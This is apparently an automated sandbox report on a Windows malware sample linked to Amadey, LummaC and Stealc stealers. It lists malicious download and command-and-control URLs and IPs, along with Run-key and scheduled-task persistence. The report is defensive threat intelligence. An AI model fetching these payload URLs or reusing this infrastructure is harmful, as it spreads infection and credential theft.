http://185.215.113.16/off/rand	100%	Avira URL Cloud	phishing
http://185.215.113.16/off/random.exe8b152	100%	Avira URL Cloud	phishing
http://185.215.113.16/off/random.exe7661001	100%	Avira URL Cloud	phishing
http://185.215.113.16/off/random.exeR	100%	Avira URL Cloud	phishing
https://cook-rain.sbs:443/apiB	100%	Avira URL Cloud	malware
http://150.241.91.218/GuidanceConnectors.exeo	0%	Avira URL Cloud	safe
http://185.215.113.16/well/random.exeH	100%	Avira URL Cloud	phishing
http://185.215.113.16/off/random.exec49e1	100%	Avira URL Cloud	phishing
http://185.215.113.16/off/random.exe.	100%	Avira URL Cloud	phishing
http://185.215.113.16/off/random.exe:	100%	Avira URL Cloud	phishing
http://185.215.113.16/off/random.exec61395	100%	Avira URL Cloud	phishing
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll6	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dllP	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/freebl3.dllb	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpR	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpD9	100%	Avira URL Cloud	malware
http://185.215.113.16/off/random.exephp~	100%	Avira URL Cloud	phishing
http://185.215.113.16/off/random.exeJ	100%	Avira URL Cloud	phishing
http://185.215.113.16/off/random.exeeX	100%	Avira URL Cloud	phishing
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllV	100%	Avira URL Cloud	malware
https://cook-rain.sbs/=	100%	Avira URL Cloud	malware
http://185.215.113.206h2S	0%	Avira URL Cloud	safe
http://185.215.113.16/mine/random.exeZ	100%	Avira URL Cloud	phishing
http://185.215.113.16/off/random.exec61395d7	100%	Avira URL Cloud	phishing
http://185.215.113.43/Zu7JuNko/index.php:	100%	Avira URL Cloud	malware
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347libgcc_s_dw2-1.dll__register_frame_info__der	0%	Avira URL Cloud	safe
https://cook-rain.sbs/Z	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
home.fvtekk5pn.top	34.116.198.130	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
plus.l.google.com	142.250.186.78	true	false	high
cook-rain.sbs	188.114.96.3	true	false	high
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
youtube.com	142.250.186.110	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
play.google.com	142.250.186.46	true	false	high
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	high
ipv4only.arpa	192.0.0.170	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
push.services.mozilla.com	34.107.243.93	true	false	high
www.google.com	142.250.186.164	true	false	high
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	high
tVbpvlpuypYopkFjWdOBJOajLc.tVbpvlpuypYopkFjWdOBJOajLc	unknown	unknown	false	unknown
spocs.getpocket.com	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
support.mozilla.org	unknown	unknown	false	high
firefox.settings.services.mozilla.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
shavar.services.mozilla.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
peepburry828.sbs	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
processhol.sbs	false	high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	high
http://detectportal.firefox.com/canonical.html	false	high
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
p10tgrace.sbs	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1951063484.000000000180E000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953703393.0000000005D2E000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953939527.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2954684786.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, DAAAKFHI.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dllL	file.exe, 00000000.00000002.2094836892.0000000001796000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1951063484.000000000180E000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953703393.0000000005D2E000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953939527.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2954684786.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, DAAAKFHI.0.dr	false		high
http://31.41.244.11/files/random.exe(	skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.broofa.com	chromecache_98.4.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpnS	file.exe, 00000000.00000002.2119676277.0000000023B92000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881	firefox.exe, 0000002D.00000002.3055660321.0000024E23117000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/random.exeYq_tYr_.	skotes.exe, 0000000D.00000002.3058997364.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.2119676277.0000000023B92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2094836892.00000000017B4000.00000004.00000020.00020000.00000000.sdmp, CGDBGCBGIDHCBGDHIEBF.0.dr	false		high
http://185.215.113.16/off/random.exe7661001	skotes.exe, 0000000D.00000002.3058997364.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://www.autoitscript.com/autoit3/	GuidanceConnectors.exe, 0000000E.00000002.2737941348.000000000041F000.00000004.00000001.01000000.0000000F.sdmp, GuidanceConnectors.exe, 0000000E.00000003.2733423502.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, Blade.14.dr	false		high
http://185.215.113.206/ws	57b831f1bb.exe, 0000001C.00000002.3008276200.0000000000BA4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206Local	file.exe, 00000000.00000002.2091184499.0000000000BA7000.00000040.00000001.01000000.00000003.sdmp	false		high
https://curl.se/docs/hsts.html	3f69cca2d1.exe, 0000001A.00000002.3052978861.0000000001523000.00000040.00000001.01000000.00000011.sdmp	false		high
http://185.215.113.16/off/random.exep	skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000000.00000002.2091184499.0000000000BA7000.00000040.00000001.01000000.00000003.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	CGDBGCBGIDHCBGDHIEBF.0.dr	false		high
https://cook-rain.sbs:443/apiB	70da2e822d.exe, 00000022.00000002.3059059019.0000000001598000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/off/rand	skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.2119676277.0000000023B92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2094836892.00000000017B4000.00000004.00000020.00020000.00000000.sdmp, CGDBGCBGIDHCBGDHIEBF.0.dr	false		high
http://185.215.113.16/off/random.exe8b152	skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/well/random.exe	skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmp	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	false		high
http://185.215.113.16/off/random.exeR	skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://150.241.91.218/GuidanceConnectors.exeo	skotes.exe, 0000000D.00000002.3058997364.0000000000F8F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cook-rain.sbs/	70da2e822d.exe, 0000001B.00000003.2997404895.000000000185E000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2997522883.0000000001868000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000002.3060560271.000000000186B000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.3035089252.000000000186B000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2998498473.000000000186B000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 00000022.00000002.3059059019.00000000015A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1951063484.000000000180E000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953703393.0000000005D2E000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953939527.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2954684786.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, DAAAKFHI.0.dr	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	70da2e822d.exe, 0000001B.00000003.2980501691.0000000005D13000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.2119676277.0000000023B92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2094836892.00000000017B4000.00000004.00000020.00020000.00000000.sdmp, CGDBGCBGIDHCBGDHIEBF.0.dr	false		high
http://www.autoitscript.com/autoit3/X	GuidanceConnectors.exe, 0000000E.00000003.2733423502.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, Imposed.com, 00000018.00000002.3055733332.0000000000DE5000.00000002.00000001.01000000.00000010.sdmp, Imposed.com, 0000001D.00000002.2949988380.0000000000DE5000.00000002.00000001.01000000.00000010.sdmp, Imposed.com, 0000001E.00000000.2951308380.0000000000DE5000.00000002.00000001.01000000.00000010.sdmp, Blade.14.dr	false		high
http://185.215.113.206/c4becf79229cb002.php/	57b831f1bb.exe, 0000001C.00000002.3008276200.0000000000B9C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	70da2e822d.exe, 0000001B.00000003.2980501691.0000000005D13000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000000.00000003.1941579447.000000001DA6E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2091184499.0000000000BA7000.00000040.00000001.01000000.00000003.sdmp, 70da2e822d.exe, 0000001B.00000003.2950346518.0000000005D3A000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2950135448.0000000005D41000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	GuidanceConnectors.exe, 0000000E.00000000.2722338102.0000000000408000.00000002.00000001.01000000.0000000F.sdmp, GuidanceConnectors.exe, 0000000E.00000002.2737904140.0000000000408000.00000002.00000001.01000000.0000000F.sdmp, GuidanceConnectors[1].exe.13.dr, GuidanceConnectors.exe.13.dr	false		high
https://curl.se/docs/alt-svc.html	3f69cca2d1.exe, 0000001A.00000002.3052978861.0000000001523000.00000040.00000001.01000000.00000011.sdmp	false		high
https://ace-snapper-privately.ngrok-free.app/test/testFailed	3f69cca2d1.exe, 0000001A.00000003.2811714142.0000000007A72000.00000004.00001000.00020000.00000000.sdmp, 3f69cca2d1.exe, 0000001A.00000002.3052978861.0000000001523000.00000040.00000001.01000000.00000011.sdmp	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1951063484.000000000180E000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953703393.0000000005D2E000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953939527.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2954684786.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, DAAAKFHI.0.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	KJEBKJDAFHJDGDHJKKEGIJDAKJ.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php5	57b831f1bb.exe, 0000001C.00000002.3008276200.0000000000B9C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php6	file.exe, 00000000.00000002.2119676277.0000000023B9A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/random.exe.	skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://play.google.com/log?format=json&hasfast=true	chromecache_98.4.dr	false		high
http://185.215.113.16/well/random.exeH	skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://cook-rain.sbs:443/api	70da2e822d.exe, 0000001B.00000002.3058615014.00000000017D9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/ta	57b831f1bb.exe, 0000001C.00000002.3008276200.0000000000B96000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/random.exec49e1	skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll6	file.exe, 00000000.00000002.2094836892.00000000017B4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpG	57b831f1bb.exe, 0000001C.00000002.3008276200.0000000000B9C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.microsof	70da2e822d.exe, 0000001B.00000003.2950135448.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/random.exe:	skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/off/random.exec61395	skotes.exe, 0000000D.00000002.3058997364.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/68b591d6548ec281/nss3.dllP	file.exe, 00000000.00000002.2094836892.0000000001796000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/68b591d6548ec281/freebl3.dllb	file.exe, 00000000.00000002.2094836892.0000000001796000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	70da2e822d.exe, 0000001B.00000003.2950346518.0000000005D15000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpR	file.exe, 00000000.00000002.2119676277.0000000023B9A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpD9	57b831f1bb.exe, 0000001C.00000002.3008276200.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/off/random.exeJ	skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/off/random.exephp~	skotes.exe, 0000000D.00000002.3058997364.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://html4/loose.dtd	3f69cca2d1.exe, 0000001A.00000003.2811714142.0000000007A72000.00000004.00001000.00020000.00000000.sdmp, 3f69cca2d1.exe, 0000001A.00000002.3052978861.0000000001523000.00000040.00000001.01000000.00000011.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	KJEBKJDAFHJDGDHJKKEGIJDAKJ.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllV	file.exe, 00000000.00000002.2094836892.00000000017B4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cook-rain.sbs/=	70da2e822d.exe, 0000001B.00000002.3060560271.000000000186B000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.3035089252.000000000186B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/off/random.exeeX	skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206h2S	file.exe, 00000000.00000002.2094836892.000000000173E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1951063484.000000000180E000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953703393.0000000005D2E000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953939527.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2954684786.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, DAAAKFHI.0.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000003.1941579447.000000001DA6E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2091184499.0000000000BA7000.00000040.00000001.01000000.00000003.sdmp, 70da2e822d.exe, 0000001B.00000003.2950346518.0000000005D3A000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2950135448.0000000005D41000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.css	3f69cca2d1.exe, 0000001A.00000003.2811714142.0000000007A72000.00000004.00001000.00020000.00000000.sdmp, 3f69cca2d1.exe, 0000001A.00000002.3052978861.0000000001523000.00000040.00000001.01000000.00000011.sdmp	false		high
http://185.215.113.16/off/random.exec61395d7	skotes.exe, 0000000D.00000002.3058997364.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/luma/random.exe	skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/mine/random.exeZ	file.exe, 00000000.00000002.2094836892.0000000001796000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.43/Zu7JuNko/index.php6	skotes.exe, 0000000D.00000002.3058997364.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/O	file.exe, 00000000.00000002.2094836892.0000000001796000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php:	skotes.exe, 0000000D.00000002.3058997364.0000000000FFD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347libgcc_s_dw2-1.dll__register_frame_info__der	3f69cca2d1.exe, 0000001A.00000002.3052978861.0000000001523000.00000040.00000001.01000000.00000011.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	70da2e822d.exe, 0000001B.00000003.2980501691.0000000005D13000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	70da2e822d.exe, 0000001B.00000003.2980501691.0000000005D13000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	70da2e822d.exe, 0000001B.00000003.2950346518.0000000005D15000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1951063484.000000000180E000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953703393.0000000005D2E000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953939527.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2954684786.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp, DAAAKFHI.0.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	file.exe, 00000000.00000002.2091184499.0000000000BA7000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php)	skotes.exe, 0000000D.00000002.3058997364.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/Z	70da2e822d.exe, 0000001B.00000002.3060560271.000000000186B000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.3035089252.000000000186B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://apis.google.com	chromecache_98.4.dr	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe	file.exe, 00000000.00000002.2091184499.0000000000BA7000.00000040.00000001.01000000.00000003.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.78	plus.l.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.96.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.164	www.google.com	United States	15169	GOOGLEUS	false
34.116.198.130	home.fvtekk5pn.top	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
150.241.91.218	unknown	Spain	207714	TECNALIAES	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559356
Start date and time:	2024-11-20 12:56:31 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	46
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@81/62@44/12
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.23.99, 142.250.186.46, 64.233.184.84, 34.104.35.123, 142.250.186.35, 142.250.186.138, 142.250.184.202, 142.250.184.234, 142.250.74.202, 142.250.181.234, 142.250.186.106, 172.217.23.106, 142.250.185.74, 172.217.18.106, 172.217.18.10, 142.250.185.106, 172.217.16.138, 216.58.206.42, 172.217.16.202, 142.250.186.42, 216.58.212.170, 199.232.214.172, 192.229.221.95, 52.12.64.98, 35.80.238.59, 35.164.125.63
Excluded domains from analysis (whitelisted): fs.microsoft.com, shavar.prod.mozaws.net, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, incoming.telemetry.mozilla.org, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, detectportal.prod.mozaws.net, aus5.mozilla.org, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, clients.l.google.com, www.gstatic.com, location.services.mozilla.com
Execution Graph export aborted for target DocumentsFHCAFIDBKE.exe, PID 8140 because it is empty
Execution Graph export aborted for target skotes.exe, PID 2640 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
06:59:01	API Interceptor	371x Sleep call for process: skotes.exe modified
06:59:09	API Interceptor	1x Sleep call for process: GuidanceConnectors.exe modified
06:59:29	API Interceptor	6x Sleep call for process: 70da2e822d.exe modified
11:58:04	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
11:59:28	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 70da2e822d.exe C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe
11:59:36	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 57b831f1bb.exe C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe
11:59:45	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 0245b5a6ea.exe C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe
11:59:56	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 70da2e822d.exe C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
